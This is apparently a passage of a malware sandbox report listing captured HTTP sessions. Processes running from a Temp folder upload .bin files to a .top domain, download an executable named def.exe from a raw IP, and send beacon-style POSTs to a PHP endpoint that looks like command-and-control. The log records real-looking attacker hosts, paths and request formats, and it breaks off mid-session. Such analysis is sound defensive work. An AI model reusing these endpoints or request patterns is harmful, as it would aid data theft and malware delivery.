Nov 20, 2024 04:08:32.865911007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865926981 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.870383978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	62609	34.116.198.130	80	3736	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:34.645298004 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 78143 Content-Type: multipart/form-data; boundary=------------------------RqkARKMlUvL0L0GSHJlMbg Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 52 71 6b 41 52 4b 4d 6c 55 76 4c 30 4c 30 47 53 48 4a 6c 4d 62 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 75 6a 65 63 69 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 11 03 d8 b9 2f 5f a0 17 ad 8b 69 33 4a f0 5f bb 51 f5 5c b5 db 82 e5 3e 69 32 d5 0a 9e b0 9a 13 66 5b 4c 7a 38 2a 14 7c 10 5c 97 24 2b 1d 2b e6 3f 49 d2 c8 cb f3 93 16 99 1a bc 37 6f 05 b3 c3 48 b1 9a 54 b7 af 31 e9 0b e2 83 c5 b9 12 d4 ce 26 52 7c 0f 87 83 9a 3a 69 b7 7c d9 8b f5 b7 ef fc 92 1d 8b 47 e8 af 88 1e db 09 9a 2f 9e ee 6c 04 5f 66 42 38 97 8a 2a 47 1c e4 f2 3b 4f ce 6e 0e 73 ce a1 dd d4 41 df 8a 31 f7 43 71 59 8d 2a 44 65 1b 31 ea 8b 5d 86 d4 38 31 dc b8 60 52 a5 e6 aa 0d 9a ba 2c 92 17 f9 92 79 30 97 bb fb c3 95 [TRUNCATED] Data Ascii: --------------------------RqkARKMlUvL0L0GSHJlMbgContent-Disposition: form-data; name="file"; filename="Fujecib.bin"Content-Type: application/octet-stream/_i3J_Q\>i2f[Lz8\|\$++?I7oHT1&R\|:i\|G/l_fB8G;OnsA1CqYDe1]81`R,y0j5v9QU<0a\Q!<UK]=?92^Cw,0PoF4e$:/W7<QpfM)eCuVN32b#cX({"HHkiuPO sM1%pf\|P(1j>vIw9eSY=n:M,>TihiPb1'3\|#]'qP!j(Fdk;PgUGYyx}J4,Zcq\}Q6w5("4IQ`?9EaGv["2sXygK+w<5F6:2\+:\|"Zzq7I~`BzY5k[?F#8I,@CHQZ3Bg~-PqIxx'7QRJ(>'>4xtS!VQaEe}% [TRUNCATED]
Nov 20, 2024 04:08:34.650388956 CET	4944	OUT	Data Raw: ba a2 31 81 f6 88 c5 05 dd df f8 cb e0 48 f8 1b db 68 21 75 d8 98 30 9d 2b 2b 39 3a 53 03 68 63 69 b8 cd aa be ea 92 c5 39 10 70 56 13 44 3b 25 70 47 4e 3c f2 52 b6 2e 9c 42 d2 a7 5e a2 2f d0 09 d6 74 6c aa 14 42 32 ec 18 a3 64 1d 5b 61 41 7a ab Data Ascii: 1Hh!u0++9:Shci9pVD;%pGN<R.B^/tlB2d[aAz'<s3>gfCuSgAd%_[MHIV-h DCs0;l[KZ$N+9k8b{YDwYUDG %"d}iBeif&zE/[3W-J
Nov 20, 2024 04:08:34.650427103 CET	2472	OUT	Data Raw: 3c 09 ec 54 69 9b 3a 33 f0 75 bc 5d 0e 10 c0 59 b2 93 87 71 23 19 6f 54 b0 a8 77 74 de 89 55 4f 3c 57 da 32 bb 3a c3 03 ef 11 73 d3 34 5c 52 e6 08 be 70 e7 48 ba 3d e2 15 6a d0 6e cb 46 27 e6 5a 87 3e b9 7e 06 a1 b0 ba ec d6 f7 a6 81 6b 9e c3 6e Data Ascii: <Ti:3u]Yq#oTwtUO<W2:s4\RpH=jnF'Z>~knQ]"ZJ1%5a.<igjv.?#EUM#<ud=mLHbc&GKZ&]>vpES-nbjUhNV6s$8vP
Nov 20, 2024 04:08:34.650486946 CET	7416	OUT	Data Raw: 65 e3 63 d6 40 87 71 4a a4 aa a7 c0 1a 5b 39 a7 1c a2 27 3e ba 09 e9 2a ce 51 1e d5 a0 48 3d d8 dd 3f a7 56 7d e5 09 40 ca d9 94 bc d8 a1 b2 a3 e0 8b 2c 7d ca 79 b9 25 81 7b 2f e8 63 8e a3 f6 2d da 0a d5 13 15 3e 5a 09 92 d7 dd 65 d0 88 8f c9 9b Data Ascii: ec@qJ[9'>QH=?V}@,}y%{/c->Ze$IxtQP&hS\|#}Ug87K/^r6,6{;kySR {Ae\2K[yblT.\\|QH=<DrSbeF_Ej54W%
Nov 20, 2024 04:08:34.650506020 CET	4944	OUT	Data Raw: cb 6b 88 04 4b 71 3f 9e 60 57 46 50 96 3d aa 94 a0 f5 86 60 a9 6b 48 b5 b1 a9 da 52 f5 d8 31 da 8a 41 15 1b 2d e4 ab fe f3 1b 78 55 29 5f 3f b7 a8 5c 78 ac 35 84 1f 7e 20 5a 78 ac a2 d8 ed c2 46 d2 e7 b3 c2 ce 6e b5 fa 4f 47 b8 95 6a 91 74 37 da Data Ascii: kKq?`WFP=`kHR1A-xU)_?\x5~ ZxFnOGjt7?tQ0!{QIGvSVxD#,]gM(cf{qooFl^@H9ObbUH'5&m-o"}UFLu<nl8H>tHP
Nov 20, 2024 04:08:34.650541067 CET	4944	OUT	Data Raw: b8 01 ef 35 80 5a 07 14 12 45 45 a1 7d 8d 79 a4 41 6d 04 aa d0 a7 31 88 69 da 30 d4 af 7f 90 a0 7e 5d a2 76 d1 6c 3e fd 8e 47 c7 38 8a ca 78 3a bb b5 38 55 ef 6a 1a 77 45 73 a6 e2 38 d4 07 4c 78 0f 9f 5b 0d 3e 36 2f 83 31 0e ca 1b ef f7 ab 4b 0a Data Ascii: 5ZEE}yAm1i0~]vl>G8x:8UjwEs8Lx[>6/1KfB=y}d"SsHr4>Eb@hx!"^Ngs727+U ,'bJ9G'M}wq9&Nc9zF!//lhw f':\|0}/EjO
Nov 20, 2024 04:08:34.655483007 CET	4944	OUT	Data Raw: 4a 28 a9 6a 6d 81 91 94 62 f7 0c e5 d3 41 47 83 40 a7 b1 ed 89 ba 9f b6 eb c0 1a c4 30 4f e6 43 fa 2e e2 1e da 33 7e 0e 15 c5 cd 92 88 25 07 16 95 bc 08 9b 6d 6d 7e e6 47 ba a4 47 bc 64 27 9d fe 6b 4f ec 1e fa 2b 1a bd 3e 1b 81 70 a5 ff 5a 52 9d Data Ascii: J(jmbAG@0OC.3~%mm~GGd'kO+>pZRS@O[1h%5QVy;T]xbC3w8,E_UhMy-/<iqID75 :${zf@8BAqZ&/$OJkrr3$E}m
Nov 20, 2024 04:08:34.655544996 CET	4944	OUT	Data Raw: 8b 7e bf 67 c0 4e af ea 92 10 56 11 5e 70 37 b1 f9 8e e9 63 1e 0c 25 a5 d2 80 e6 36 3c bc 25 14 68 66 ba 4e a8 1e c8 75 8b cc ea 73 b7 6f af 4c 36 35 e6 dc 37 44 97 48 1b 24 eb 7f ff dd 1c 3f 41 f1 dc 19 67 db 4c 8f 29 b5 4d 54 e1 07 f0 cf 40 08 Data Ascii: ~gNV^p7c%6<%hfNusoL657DH$?AgL)MT@=wx-pri$BJ3hI\F{R{$V}M #W K&&{QFu~UqzS\*RW@U+BbpD>T!\4?P
Nov 20, 2024 04:08:34.655592918 CET	4944	OUT	Data Raw: 9a a6 69 37 9d 7a 9c 03 ff f5 d0 7a 87 81 e5 18 25 e3 a7 ef f4 d4 04 16 d4 03 ae 65 b4 6f ce 51 a9 93 aa 0a 83 5d 72 51 ed 35 c5 df 83 68 07 48 13 d8 af 38 90 83 f2 ad 0e b0 0f ac 83 70 50 fc f9 12 1d 7c e4 55 f2 a6 80 3c ad aa 53 fa 4b 10 67 bc Data Ascii: i7zz%eoQ]rQ5hH8pP\|U<SKga MI*zPqZH<XvAsDR\|$x3L(GB^cU 56VGg]\|WSUPwBA2/yn4!ig"QZLJ8
Nov 20, 2024 04:08:34.655806065 CET	7416	OUT	Data Raw: 93 3a d8 60 6b 59 3c cc 28 f1 78 cb 78 0a 47 3f 20 ad fd e8 be ec 53 ee 7a e5 f8 dc d9 db d7 c2 3d 41 bf d9 c0 21 a3 7f 5e 9a b2 61 52 c8 1b 92 0a eb 94 23 db d9 cd e1 b8 10 0b e0 3c 79 5a c6 a1 05 2a 31 11 f8 46 e8 1e 32 b3 c1 70 11 a0 e1 e0 40 Data Ascii: :`kY<(xxG? Sz=A!^aR#<yZ1F2p@Jqv\|@I,uP/)kX9INAz/RRp}n1n1btCs6?ml:#'8L=rJ^e\|n<=+Xw[/JPCo.>'%6b
Nov 20, 2024 04:08:34.696058035 CET	18996	OUT	Data Raw: 50 05 c7 f5 93 40 10 25 53 90 a1 d9 b1 da 7c 46 40 b7 54 b5 4d c5 3e a0 4f d2 a8 69 4a 77 e8 3a f3 b5 fc 5d 86 cd 42 09 ce 5a 23 dc a8 60 14 10 0c 2f b8 68 ca e3 b0 db bd 6c 12 f6 b0 ca 4f 32 37 d7 5b 0e f5 d8 8a 9f 45 bb 80 fb 03 87 78 5b 11 6f Data Ascii: P@%S\|F@TM>OiJw:]BZ#`/hlO27[Ex[okubn@E>EZ$5VzofYjp^0b48+YA0~i!mTfD=Bx'jiy+`4zDo2aU\|rmia*(n$Iwsoi:3,H
Nov 20, 2024 04:08:35.544249058 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 03:08:35 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	62615	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:35.034286976 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 04:08:35.789472103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:35 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 20 Nov 2024 02:17:05 GMT Connection: keep-alive ETag: "673d46a1-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,%,`Ui` @ @.rsrc`2@.idata 8@jwaseymg ++:@reksrrmv +N+@.taggant@+"R+@
Nov 20, 2024 04:08:35.789498091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789515972 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789531946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789550066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789567947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789586067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789602041 CET	328	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789619923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:35.789639950 CET	1236	IN	Data Raw: 8e 0c cb 20 6a 2c aa c5 b3 a5 06 18 7d 9c db 54 67 ae f3 88 78 1c bc 80 ce 90 af 8e be c6 a6 ac e0 96 f7 28 31 62 2f 6f b8 30 b1 92 31 a1 a9 18 35 ee a9 a3 fe 14 8c 47 0c 8e c5 60 47 d4 c3 e6 4c 97 29 9b cb dd 1b a7 7c e1 b1 b4 f8 0d 24 0a f5 a4 Data Ascii: j,}Tgx(1b/o015G`GL)\|$rRPx"<.Et,-2(lQSJ48\|{}3+]+24f- (FtkyH*LfA8L74~`8NMg
Nov 20, 2024 04:08:35.794910908 CET	1236	IN	Data Raw: 83 c6 1e 54 bb 47 e5 36 4c a9 19 27 e7 e5 c3 0c f5 b8 ae 15 52 da a2 f8 87 25 e4 d4 f2 38 24 0a 33 af ee a5 39 cd ad e9 ad a7 b6 eb 3e ba b5 95 8a 70 c1 c5 71 e5 1c af 8b 76 b7 d9 98 33 db 2c 30 05 cb ee 99 e9 96 72 25 f1 16 e6 93 ff 15 bb 8d e6 Data Ascii: TG6L'R%8$39>pqv3,0r%`+Gm2"%J zFho;2e8jz>:0jH9 Z~36mvrfg;r#0b2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	62637	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:37.643667936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007567001&unit=246122658369
Nov 20, 2024 04:08:38.438040972 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	62655	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:40.564076900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:08:41.263461113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	62675	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:43.023123980 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:08:43.666359901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	62678	34.116.198.130	80	3736	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:44.354285002 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 27813 Content-Type: multipart/form-data; boundary=------------------------QyAZ66dhsdGKOEMXn13ZId Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 51 79 41 5a 36 36 64 68 73 64 47 4b 4f 45 4d 58 6e 31 33 5a 49 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 71 75 78 75 6d 75 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 89 0e 0c 55 60 be 5c 54 e7 ab cf 4b db 71 1a 2d cb 4d 7f 3a 03 63 0c 72 e2 5b 08 ce 4d 46 1d ca e8 76 61 c7 78 53 c3 d7 7a b8 1b c4 06 ea a9 d7 82 23 e6 65 89 2c 26 69 dc 64 8a 59 e5 1b cd 72 3d 23 fd f3 c2 23 46 2d 2d 8d a7 c1 e9 b2 9c 86 a1 e4 1e 6f d7 d7 ee 46 cc 22 82 0e fb 54 2f 71 9c 10 ec 05 12 ed da 68 38 d5 8e 06 59 37 ca 40 90 87 e1 39 02 c8 27 25 17 84 b1 85 6c f0 3f b5 ac 79 6e 86 16 cf f8 e0 2f b7 f0 cf 9f f6 79 fc 85 39 dc 19 e4 f9 d5 e2 74 cf 9b f0 72 2f 89 49 a5 73 50 d2 5f 60 d3 bc 80 eb f4 0d f1 db 92 [TRUNCATED] Data Ascii: --------------------------QyAZ66dhsdGKOEMXn13ZIdContent-Disposition: form-data; name="file"; filename="Joquxumud.bin"Content-Type: application/octet-streamU`\TKq-M:cr[MFvaxSz#e,&idYr=##F--oF"T/qh8Y7@9'%l?yn/y9tr/IsP_`!&\|10L&t.4v`uOO#S3#GG(`sv(}I/c=^Flqsz\bq)GIoHq++^G?;ilR"=0^14kg<NK\|Kr2?&z#;]h.l:hCJJ$rx>J,\|(:$d^?O ig4w5x4=p<]CpXZ@`8!B2 ic=\|i'D9kh$4c6(&RecMm3{=gc~FjMKd\|oL([745y&p#$\|[iCzJPja(5eF3=ApRAI4_;M`;kP+i~JL"scFmDb#lz03!koN_ZqXC[%Hn;}W]$h;y8S*gX.D8S4`rTqn<{jH [TRUNCATED]
Nov 20, 2024 04:08:44.359313965 CET	4944	OUT	Data Raw: 4f 12 9a d8 be 53 ca 39 0c 77 bf 4c 2d 14 32 79 d9 03 75 07 18 be f0 bb a8 d2 55 af 4f bd 7b 94 27 de a3 10 49 ba ee 48 bd ee eb e0 c2 ed 7c 1d a2 a8 7b 68 ba a3 a6 8a 69 cd cd 63 a3 c2 07 b9 d6 73 26 28 06 c9 07 2d ee a0 3f 29 bd f0 8f f0 5b 69 Data Ascii: OS9wL-2yuUO{'IH\|{hics&(-?)[i{g6RwPyY`61I5)\zz*x>xv_n _2%CoeoABa5#?G0\,.zn0u shwRHNMfhLGI=&~-X
Nov 20, 2024 04:08:44.359375000 CET	2472	OUT	Data Raw: f7 6b 14 4b 0b 91 15 d8 42 1f d3 53 77 39 c6 1b 65 35 b6 25 c5 54 95 b9 d8 ed da b8 11 8f d5 a0 37 12 cb 1a 32 0b 9e 57 ec 2d ac 64 b0 ba 10 25 5e 6c 71 a5 a5 0d 05 4c 29 17 2f 9e fa f6 85 c2 48 99 2c ec 48 2a d7 21 6d d6 56 ef b4 52 1d 12 56 b7 Data Ascii: kKBSw9e5%T72W-d%^lqL)/H,H!mVRVjpyHg94MN)w672W([9)iZisAc;J-iUEx4PS"0VPj[@{?/Aw#1c>@bto`IFQDW&QL#k5=a
Nov 20, 2024 04:08:44.359400988 CET	2472	OUT	Data Raw: 49 b9 7f d6 af 0c 5c 35 e6 07 dc b6 2c 3c ab ad 58 0d e9 02 7f f5 dd 0c 7c 50 8f 17 a4 73 78 68 85 f5 4b 32 a4 a2 f3 de 4a 9c c3 61 3c f1 d4 0f 28 ff e7 28 d3 40 76 4d 81 a4 52 d1 3f b2 43 39 3a 09 62 26 09 53 4c bb 27 2e 4c 23 ed 1e 71 70 a4 d5 Data Ascii: I\5,<X\|PsxhK2Ja<((@vMR?C9:b&SL'.L#qpa.aR?^^h],^CdUCSNOx$'bOfVOIc\4~<r>g6ZX&i(JGcc/z&[kh4]DT`Op/A7r1
Nov 20, 2024 04:08:44.359426975 CET	4944	OUT	Data Raw: cb 2e 6c 6a 86 3d 52 6a cb 49 79 e9 ae a4 39 44 d1 2d a8 df 6d 8e 4a 61 d1 3c 8d 30 08 61 78 51 a3 f7 57 50 c1 02 53 59 50 db 9a d5 f2 f5 a6 94 30 21 d8 00 c6 34 ac c1 ca 7c 51 cf e1 99 01 c8 a5 f7 0b 06 d3 41 45 66 a4 f5 55 22 9e 74 e5 89 10 23 Data Ascii: .lj=RjIy9D-mJa<0axQWPSYP0!4\|QAEfU"t#$[a@VMH8&pPl>>%gdb??8HlEjew^ccq*<t d?Ks~<@!6BeL{/;bU)'aC-6}nf?4xDW
Nov 20, 2024 04:08:44.359493971 CET	802	OUT	Data Raw: c9 83 03 7a 7d 63 31 4b 05 5f 3a 4d b7 f2 fa b2 f8 a6 69 c0 c2 1f 6b 04 9b 98 40 2d 9f 28 98 5e 3b fa 7b 97 0e 4a b6 8b 8f 64 ab ec e8 2e 23 b6 f7 70 d1 30 c7 03 50 ce 87 6f d4 a4 83 8b 03 2a 20 55 3e 57 60 95 24 e0 61 b5 c9 11 22 f1 b4 78 78 48 Data Ascii: z}c1K_:Mik@-(^;{Jd.#p0Po* U>W`$a"xxHM_20('/`)f8FfCZ+NHo~y=QR>F_&,^(>Q+Dbe~Ew]Ubz'7`Jw#SuG}/2N]k/1
Nov 20, 2024 04:08:45.125380993 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 03:08:45 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	62682	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:45.302311897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:08:46.010040998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	62684	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
